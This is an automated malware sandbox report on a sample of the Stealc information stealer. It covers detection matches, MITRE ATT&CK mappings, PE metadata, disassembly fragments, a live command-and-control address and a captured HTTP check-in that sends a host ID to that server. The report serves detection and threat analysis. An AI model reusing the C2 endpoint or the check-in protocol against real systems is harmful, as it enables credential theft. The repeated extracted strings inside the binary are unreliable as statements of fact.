Code function: 0_2_004F7BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_004F7BC0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1803312962.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1803312962.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	334 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php1	file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpQ	file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/B	file.exe, 00000000.00000002.1845108606.0000000001496000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/	file.exe, 00000000.00000002.1845108606.0000000001496000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206	file.exe, 00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.206/6c4adf523b719729.php)	file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpI	file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpu	file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/G	file.exe, 00000000.00000002.1845108606.0000000001496000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000003.1803312962.000000000514B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544500
Start date and time:	2024-10-29 14:10:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 123
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded IPs from analysis (whitelisted): 4.175.87.197
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Quasar, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.955565837224271
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'113'024 bytes
MD5:	ab7d9340bee9cb1f62845fcaea9476cb
SHA1:	aadac5ac21e4e0160dca5ac67727ab5bb436b63b
SHA256:	390a2c58405e383d833df9f7bc6c5abcfa292b73e8297ccfe05c043b084ff29b
SHA512:	facbbfb7823915deeb271078f909338d514774ee8d12f3aa04b581a5263d010cc58775ad852cbb86b8c0368cb221fcf152353e4df7af113f5d73f6057fcaf822
SSDEEP:	49152:pPnNEg544+TK8I1HoTdYO7fj3rX26BfWRU1CwSFBKOBXBz2Jtjeu:pvJa4e2oTeKjrBfWdwoKOBRzKQu
TLSH:	C5A5339F1817FB66E9358B7DC69BCBC80791338293FC57F88A5B58329200909B792C5D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb19000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9FD0C0535Ah
hint_nop dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	e4bd6153f24730c4ae14c294c4f5bb35	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x295000	0x200	e5b352016fdd15d42b786d7215b96351	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dlatbedx	0x57f000	0x199000	0x198c00	f8d848c83d09261cd7021f1d36598509	False	0.994636372324159	data	7.952200303038952	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ncjyujoo	0x718000	0x1000	0x600	9bf9cf7dc257c3a6894ff8241c0d99f4	False	0.5520833333333334	data	4.914453457263019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x719000	0x3000	0x2200	ede9711f96dc41c337884a01f467827c	False	0.05307904411764706	DOS executable (COM)	0.5967975301874965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T14:11:19.442782+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49735	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 14:11:18.251501083 CET	49735	80	192.168.2.4	185.215.113.206
Oct 29, 2024 14:11:18.257097960 CET	80	49735	185.215.113.206	192.168.2.4
Oct 29, 2024 14:11:18.257257938 CET	49735	80	192.168.2.4	185.215.113.206
Oct 29, 2024 14:11:18.260381937 CET	49735	80	192.168.2.4	185.215.113.206
Oct 29, 2024 14:11:18.265788078 CET	80	49735	185.215.113.206	192.168.2.4
Oct 29, 2024 14:11:19.158421040 CET	80	49735	185.215.113.206	192.168.2.4
Oct 29, 2024 14:11:19.158534050 CET	49735	80	192.168.2.4	185.215.113.206
Oct 29, 2024 14:11:19.162049055 CET	49735	80	192.168.2.4	185.215.113.206
Oct 29, 2024 14:11:19.167618990 CET	80	49735	185.215.113.206	192.168.2.4
Oct 29, 2024 14:11:19.442651987 CET	80	49735	185.215.113.206	192.168.2.4
Oct 29, 2024 14:11:19.442781925 CET	49735	80	192.168.2.4	185.215.113.206
Oct 29, 2024 14:11:22.239335060 CET	49735	80	192.168.2.4	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	185.215.113.206	80	7140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 14:11:18.260381937 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 14:11:19.158421040 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 13:11:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 14:11:19.162049055 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 35 32 33 45 39 34 37 37 30 42 36 31 32 33 33 31 37 34 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="hwid"69523E94770B612331747------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="build"tale------CBAKEBGIIDAFIDHIIECF--
Oct 29, 2024 14:11:19.442651987 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 13:11:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	09:11:13
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4e0000
File size:	2'113'024 bytes
MD5 hash:	AB7D9340BEE9CB1F62845FCAEA9476CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1803312962.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	1327
Total number of Limit Nodes:	24

Executed Functions

Function 004F9BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01452440), ref: 004F9BF1
GetProcAddress.KERNEL32(74DD0000,014521D0), ref: 004F9C0A
GetProcAddress.KERNEL32(74DD0000,01452218), ref: 004F9C22
GetProcAddress.KERNEL32(74DD0000,014521A0), ref: 004F9C3A
GetProcAddress.KERNEL32(74DD0000,014522C0), ref: 004F9C53
GetProcAddress.KERNEL32(74DD0000,014590A0), ref: 004F9C6B
GetProcAddress.KERNEL32(74DD0000,014456F0), ref: 004F9C83
GetProcAddress.KERNEL32(74DD0000,01445630), ref: 004F9C9C
GetProcAddress.KERNEL32(74DD0000,014521B8), ref: 004F9CB4
GetProcAddress.KERNEL32(74DD0000,014522F0), ref: 004F9CCC
GetProcAddress.KERNEL32(74DD0000,014521E8), ref: 004F9CE5
GetProcAddress.KERNEL32(74DD0000,01452230), ref: 004F9CFD
GetProcAddress.KERNEL32(74DD0000,01445850), ref: 004F9D15
GetProcAddress.KERNEL32(74DD0000,014522A8), ref: 004F9D2E
GetProcAddress.KERNEL32(74DD0000,01452200), ref: 004F9D46
GetProcAddress.KERNEL32(74DD0000,014458F0), ref: 004F9D5E
GetProcAddress.KERNEL32(74DD0000,01452248), ref: 004F9D77
GetProcAddress.KERNEL32(74DD0000,014522D8), ref: 004F9D8F
GetProcAddress.KERNEL32(74DD0000,01445830), ref: 004F9DA7
GetProcAddress.KERNEL32(74DD0000,01452260), ref: 004F9DC0
GetProcAddress.KERNEL32(74DD0000,01445690), ref: 004F9DD8
LoadLibraryA.KERNEL32(01452500,?,004F6CA0), ref: 004F9DEA
LoadLibraryA.KERNEL32(01452518,?,004F6CA0), ref: 004F9DFB
LoadLibraryA.KERNEL32(01452530,?,004F6CA0), ref: 004F9E0D
LoadLibraryA.KERNEL32(014524B8,?,004F6CA0), ref: 004F9E1F
LoadLibraryA.KERNEL32(014524A0,?,004F6CA0), ref: 004F9E30
GetProcAddress.KERNEL32(75A70000,01452470), ref: 004F9E52
GetProcAddress.KERNEL32(75290000,01452488), ref: 004F9E73
GetProcAddress.KERNEL32(75290000,014524D0), ref: 004F9E8B
GetProcAddress.KERNEL32(75BD0000,014524E8), ref: 004F9EAD
GetProcAddress.KERNEL32(75450000,01445870), ref: 004F9ECE
GetProcAddress.KERNEL32(76E90000,01459170), ref: 004F9EEF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 004F9F06

Strings

NtQueryInformationProcess, xrefs: 004F9EFA

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: d0a4ac2b3194919e5bfe0958740c2b3f095d750cd2de5230f722fc3551bcc40b
Instruction ID: c6cd9263c3952deab64ae179b76d7e6887fe73502850d998418ca7945af06198
Opcode Fuzzy Hash: d0a4ac2b3194919e5bfe0958740c2b3f095d750cd2de5230f722fc3551bcc40b
Instruction Fuzzy Hash: BDA1DDB55182089FC748DF69EC88FA67BB9B7CD601710C71AF609972B4D63C9940CB68

Function 004E4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 004E465E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004E47EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E47B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E47AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E46D3
